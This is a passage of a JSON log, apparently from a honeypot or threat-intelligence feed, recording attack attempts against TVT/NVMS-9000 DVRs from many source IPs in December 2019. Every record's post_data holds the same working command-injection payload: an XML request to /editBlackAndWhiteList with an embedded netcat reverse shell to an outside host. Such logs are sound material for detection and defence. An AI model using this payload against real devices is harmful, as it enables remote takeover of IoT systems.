  10514.       "source_ip_address": "94.14.157.27",
  10515.       "country": "GB",
  10516.       "user_agent": "Help",
  10517.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10518.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10519.       "target_port": 8080,
  10520.       "protocol": "tcp",
  10521.       "tags": [
  10522.         {
  10523.           "cve": "",
  10524.           "category": "IoT",
  10525.           "description": "TVT (Generic OEM) DVR RCE"
  10526.         }
  10527.       ],
  10528.       "event_count": 1,
  10529.       "first_seen": "2019-12-19T11:30:18Z",
  10530.       "last_seen": "2019-12-19T11:30:18Z"
  10531.     },
  10532.     {
  10533.       "source_ip_address": "50.195.140.108",
  10534.       "country": "US",
  10535.       "user_agent": "Help",
  10536.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10537.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10538.       "target_port": 81,
  10539.       "protocol": "tcp",
  10540.       "tags": [
  10541.         {
  10542.           "cve": "",
  10543.           "category": "IoT",
  10544.           "description": "TVT (Generic OEM) DVR RCE"
  10545.         }
  10546.       ],
  10547.       "event_count": 1,
  10548.       "first_seen": "2019-12-19T11:23:13Z",
  10549.       "last_seen": "2019-12-19T11:23:13Z"
  10550.     },
  10551.     {
  10552.       "source_ip_address": "114.34.138.95",
  10553.       "country": "TW",
  10554.       "user_agent": "Help",
  10555.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10556.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10557.       "target_port": 80,
  10558.       "protocol": "tcp",
  10559.       "tags": [
  10560.         {
  10561.           "cve": "",
  10562.           "category": "IoT",
  10563.           "description": "TVT (Generic OEM) DVR RCE"
  10564.         }
  10565.       ],
  10566.       "event_count": 1,
  10567.       "first_seen": "2019-12-19T11:08:02Z",
  10568.       "last_seen": "2019-12-19T11:08:02Z"
  10569.     },
  10570.     {
  10571.       "source_ip_address": "189.130.46.121",
  10572.       "country": "MX",
  10573.       "user_agent": "Help",
  10574.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10575.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10576.       "target_port": 88,
  10577.       "protocol": "tcp",
  10578.       "tags": [
  10579.         {
  10580.           "cve": "",
  10581.           "category": "IoT",
  10582.           "description": "TVT (Generic OEM) DVR RCE"
  10583.         }
  10584.       ],
  10585.       "event_count": 1,
  10586.       "first_seen": "2019-12-19T11:04:49Z",
  10587.       "last_seen": "2019-12-19T11:04:49Z"
  10588.     },
  10589.     {
  10590.       "source_ip_address": "182.191.76.252",
  10591.       "country": "PK",
  10592.       "user_agent": "Help",
  10593.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10594.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10595.       "target_port": 81,
  10596.       "protocol": "tcp",
  10597.       "tags": [
  10598.         {
  10599.           "cve": "",
  10600.           "category": "IoT",
  10601.           "description": "TVT (Generic OEM) DVR RCE"
  10602.         }
  10603.       ],
  10604.       "event_count": 1,
  10605.       "first_seen": "2019-12-19T10:46:24Z",
  10606.       "last_seen": "2019-12-19T10:46:24Z"
  10607.     },
  10608.     {
  10609.       "source_ip_address": "71.42.201.68",
  10610.       "country": "US",
  10611.       "user_agent": "Help",
  10612.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10613.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10614.       "target_port": 8080,
  10615.       "protocol": "tcp",
  10616.       "tags": [
  10617.         {
  10618.           "cve": "",
  10619.           "category": "IoT",
  10620.           "description": "TVT (Generic OEM) DVR RCE"
  10621.         }
  10622.       ],
  10623.       "event_count": 3,
  10624.       "first_seen": "2019-12-19T10:46:16Z",
  10625.       "last_seen": "2019-12-19T10:46:16Z"
  10626.     },
  10627.     {
  10628.       "source_ip_address": "24.171.35.147",
  10629.       "country": "US",
  10630.       "user_agent": "Help",
  10631.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10632.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10633.       "target_port": 88,
  10634.       "protocol": "tcp",
  10635.       "tags": [
  10636.         {
  10637.           "cve": "",
  10638.           "category": "IoT",
  10639.           "description": "TVT (Generic OEM) DVR RCE"
  10640.         }
  10641.       ],
  10642.       "event_count": 77,
  10643.       "first_seen": "2019-12-19T10:43:00Z",
  10644.       "last_seen": "2019-12-19T10:43:00Z"
  10645.     },
  10646.     {
  10647.       "source_ip_address": "178.164.208.101",
  10648.       "country": "HU",
  10649.       "user_agent": "Help",
  10650.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10651.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10652.       "target_port": 88,
  10653.       "protocol": "tcp",
  10654.       "tags": [
  10655.         {
  10656.           "cve": "",
  10657.           "category": "IoT",
  10658.           "description": "TVT (Generic OEM) DVR RCE"
  10659.         }
  10660.       ],
  10661.       "event_count": 1,
  10662.       "first_seen": "2019-12-19T10:40:23Z",
  10663.       "last_seen": "2019-12-19T10:40:23Z"
  10664.     },
  10665.     {
  10666.       "source_ip_address": "109.104.226.44",
  10667.       "country": "IT",
  10668.       "user_agent": "Help",
  10669.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10670.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10671.       "target_port": 81,
  10672.       "protocol": "tcp",
  10673.       "tags": [
  10674.         {
  10675.           "cve": "",
  10676.           "category": "IoT",
  10677.           "description": "TVT (Generic OEM) DVR RCE"
  10678.         }
  10679.       ],
  10680.       "event_count": 1,
  10681.       "first_seen": "2019-12-19T10:26:52Z",
  10682.       "last_seen": "2019-12-19T10:26:52Z"
  10683.     },
  10684.     {
  10685.       "source_ip_address": "187.236.44.226",
  10686.       "country": "MX",
  10687.       "user_agent": "Help",
  10688.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10689.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10690.       "target_port": 88,
  10691.       "protocol": "tcp",
  10692.       "tags": [
  10693.         {
  10694.           "cve": "",
  10695.           "category": "IoT",
  10696.           "description": "TVT (Generic OEM) DVR RCE"
  10697.         }
  10698.       ],
  10699.       "event_count": 1,
  10700.       "first_seen": "2019-12-19T10:17:57Z",
  10701.       "last_seen": "2019-12-19T10:17:57Z"
  10702.     },
  10703.     {
  10704.       "source_ip_address": "78.97.193.222",
  10705.       "country": "RO",
  10706.       "user_agent": "Help",
  10707.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10708.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10709.       "target_port": 81,
  10710.       "protocol": "tcp",
  10711.       "tags": [
  10712.         {
  10713.           "cve": "",
  10714.           "category": "IoT",
  10715.           "description": "TVT (Generic OEM) DVR RCE"
  10716.         }
  10717.       ],
  10718.       "event_count": 6,
  10719.       "first_seen": "2019-12-19T03:20:16Z",
  10720.       "last_seen": "2019-12-19T09:45:40Z"
  10721.     },
  10722.     {
  10723.       "source_ip_address": "170.233.134.82",
  10724.       "country": "BR",
  10725.       "user_agent": "Help",
  10726.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10727.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10728.       "target_port": 81,
  10729.       "protocol": "tcp",
  10730.       "tags": [
  10731.         {
  10732.           "cve": "",
  10733.           "category": "IoT",
  10734.           "description": "TVT (Generic OEM) DVR RCE"
  10735.         }
  10736.       ],
  10737.       "event_count": 1,
  10738.       "first_seen": "2019-12-19T09:41:02Z",
  10739.       "last_seen": "2019-12-19T09:41:02Z"
  10740.     },
  10741.     {
  10742.       "source_ip_address": "72.80.19.63",
  10743.       "country": "US",
  10744.       "user_agent": "Help",
  10745.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10746.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10747.       "target_port": 8080,
  10748.       "protocol": "tcp",
  10749.       "tags": [
  10750.         {
  10751.           "cve": "",
  10752.           "category": "IoT",
  10753.           "description": "TVT (Generic OEM) DVR RCE"
  10754.         }
  10755.       ],
  10756.       "event_count": 83,
  10757.       "first_seen": "2019-12-19T09:32:48Z",
  10758.       "last_seen": "2019-12-19T09:32:48Z"
  10759.     },
  10760.     {
  10761.       "source_ip_address": "100.2.243.72",
  10762.       "country": "US",
  10763.       "user_agent": "Help",
  10764.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10765.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10766.       "target_port": 81,
  10767.       "protocol": "tcp",
  10768.       "tags": [
  10769.         {
  10770.           "cve": "",
  10771.           "category": "IoT",
  10772.           "description": "TVT (Generic OEM) DVR RCE"
  10773.         }
  10774.       ],
  10775.       "event_count": 3,
  10776.       "first_seen": "2019-12-19T09:30:05Z",
  10777.       "last_seen": "2019-12-19T09:30:05Z"
  10778.     },
  10779.     {
  10780.       "source_ip_address": "202.160.16.212",
  10781.       "country": "BN",
  10782.       "user_agent": "Help",
  10783.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10784.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10785.       "target_port": 8000,
  10786.       "protocol": "tcp",
  10787.       "tags": [
  10788.         {
  10789.           "cve": "",
  10790.           "category": "IoT",
  10791.           "description": "TVT (Generic OEM) DVR RCE"
  10792.         }
  10793.       ],
  10794.       "event_count": 85,
  10795.       "first_seen": "2019-12-19T09:11:24Z",
  10796.       "last_seen": "2019-12-19T09:11:24Z"
  10797.     },
  10798.     {
  10799.       "source_ip_address": "189.219.39.226",
  10800.       "country": "MX",
  10801.       "user_agent": "Help",
  10802.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10803.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10804.       "target_port": 80,
  10805.       "protocol": "tcp",
  10806.       "tags": [
  10807.         {
  10808.           "cve": "",
  10809.           "category": "IoT",
  10810.           "description": "TVT (Generic OEM) DVR RCE"
  10811.         }
  10812.       ],
  10813.       "event_count": 1,
  10814.       "first_seen": "2019-12-19T08:51:55Z",
  10815.       "last_seen": "2019-12-19T08:51:55Z"
  10816.     },
  10817.     {
  10818.       "source_ip_address": "220.135.182.2",
  10819.       "country": "TW",
  10820.       "user_agent": "Help",
  10821.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10822.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10823.       "target_port": 81,
  10824.       "protocol": "tcp",
  10825.       "tags": [
  10826.         {
  10827.           "cve": "",
  10828.           "category": "IoT",
  10829.           "description": "TVT (Generic OEM) DVR RCE"
  10830.         }
  10831.       ],
  10832.       "event_count": 3,
  10833.       "first_seen": "2019-12-19T08:51:08Z",
  10834.       "last_seen": "2019-12-19T08:51:08Z"
  10835.     },
  10836.     {
  10837.       "source_ip_address": "175.205.159.77",
  10838.       "country": "KR",
  10839.       "user_agent": "Help",
  10840.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10841.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10842.       "target_port": 88,
  10843.       "protocol": "tcp",
  10844.       "tags": [
  10845.         {
  10846.           "cve": "",
  10847.           "category": "IoT",
  10848.           "description": "TVT (Generic OEM) DVR RCE"
  10849.         }
  10850.       ],
  10851.       "event_count": 2,
  10852.       "first_seen": "2019-12-19T08:20:34Z",
  10853.       "last_seen": "2019-12-19T08:20:34Z"
  10854.     },
  10855.     {
  10856.       "source_ip_address": "123.110.233.90",
  10857.       "country": "TW",
  10858.       "user_agent": "Help",
  10859.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10860.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10861.       "target_port": 8080,
  10862.       "protocol": "tcp",
  10863.       "tags": [
  10864.         {
  10865.           "cve": "",
  10866.           "category": "IoT",
  10867.           "description": "TVT (Generic OEM) DVR RCE"
  10868.         }
  10869.       ],
  10870.       "event_count": 1,
  10871.       "first_seen": "2019-12-19T08:19:36Z",
  10872.       "last_seen": "2019-12-19T08:19:36Z"
  10873.     },
  10874.     {
  10875.       "source_ip_address": "96.41.35.18",
  10876.       "country": "US",
  10877.       "user_agent": "Help",
  10878.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10879.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10880.       "target_port": 8080,
  10881.       "protocol": "tcp",
  10882.       "tags": [
  10883.         {
  10884.           "cve": "",
  10885.           "category": "IoT",
  10886.           "description": "TVT (Generic OEM) DVR RCE"
  10887.         }
  10888.       ],
  10889.       "event_count": 1,
  10890.       "first_seen": "2019-12-19T08:04:09Z",
  10891.       "last_seen": "2019-12-19T08:04:09Z"
  10892.     },
  10893.     {
  10894.       "source_ip_address": "154.54.216.52",
  10895.       "country": "ES",
  10896.       "user_agent": "Help",
  10897.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10898.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10899.       "target_port": 8000,
  10900.       "protocol": "tcp",
  10901.       "tags": [
  10902.         {
  10903.           "cve": "",
  10904.           "category": "IoT",
  10905.           "description": "TVT (Generic OEM) DVR RCE"
  10906.         }
  10907.       ],
  10908.       "event_count": 1,
  10909.       "first_seen": "2019-12-19T07:03:19Z",
  10910.       "last_seen": "2019-12-19T07:03:19Z"
  10911.     },
  10912.     {
  10913.       "source_ip_address": "188.234.116.218",
  10914.       "country": "RU",
  10915.       "user_agent": "Help",
  10916.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10917.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10918.       "target_port": 88,
  10919.       "protocol": "tcp",
  10920.       "tags": [
  10921.         {
  10922.           "cve": "",
  10923.           "category": "IoT",
  10924.           "description": "TVT (Generic OEM) DVR RCE"
  10925.         }
  10926.       ],
  10927.       "event_count": 1,
  10928.       "first_seen": "2019-12-19T06:47:39Z",
  10929.       "last_seen": "2019-12-19T06:47:39Z"
  10930.     },
  10931.     {
  10932.       "source_ip_address": "188.30.43.134",
  10933.       "country": "GB",
  10934.       "user_agent": "Help",
  10935.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10936.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10937.       "target_port": 81,
  10938.       "protocol": "tcp",
  10939.       "tags": [
  10940.         {
  10941.           "cve": "",
  10942.           "category": "IoT",
  10943.           "description": "TVT (Generic OEM) DVR RCE"
  10944.         }
  10945.       ],
  10946.       "event_count": 1,
  10947.       "first_seen": "2019-12-19T06:38:55Z",
  10948.       "last_seen": "2019-12-19T06:38:55Z"
  10949.     },
  10950.     {
  10951.       "source_ip_address": "220.130.149.48",
  10952.       "country": "TW",
  10953.       "user_agent": "Help",
  10954.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10955.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10956.       "target_port": 88,
  10957.       "protocol": "tcp",
  10958.       "tags": [
  10959.         {
  10960.           "cve": "",
  10961.           "category": "IoT",
  10962.           "description": "TVT (Generic OEM) DVR RCE"
  10963.         }
  10964.       ],
  10965.       "event_count": 100,
  10966.       "first_seen": "2019-12-19T06:34:03Z",
  10967.       "last_seen": "2019-12-19T06:34:03Z"
  10968.     },
  10969.     {
  10970.       "source_ip_address": "24.8.169.178",
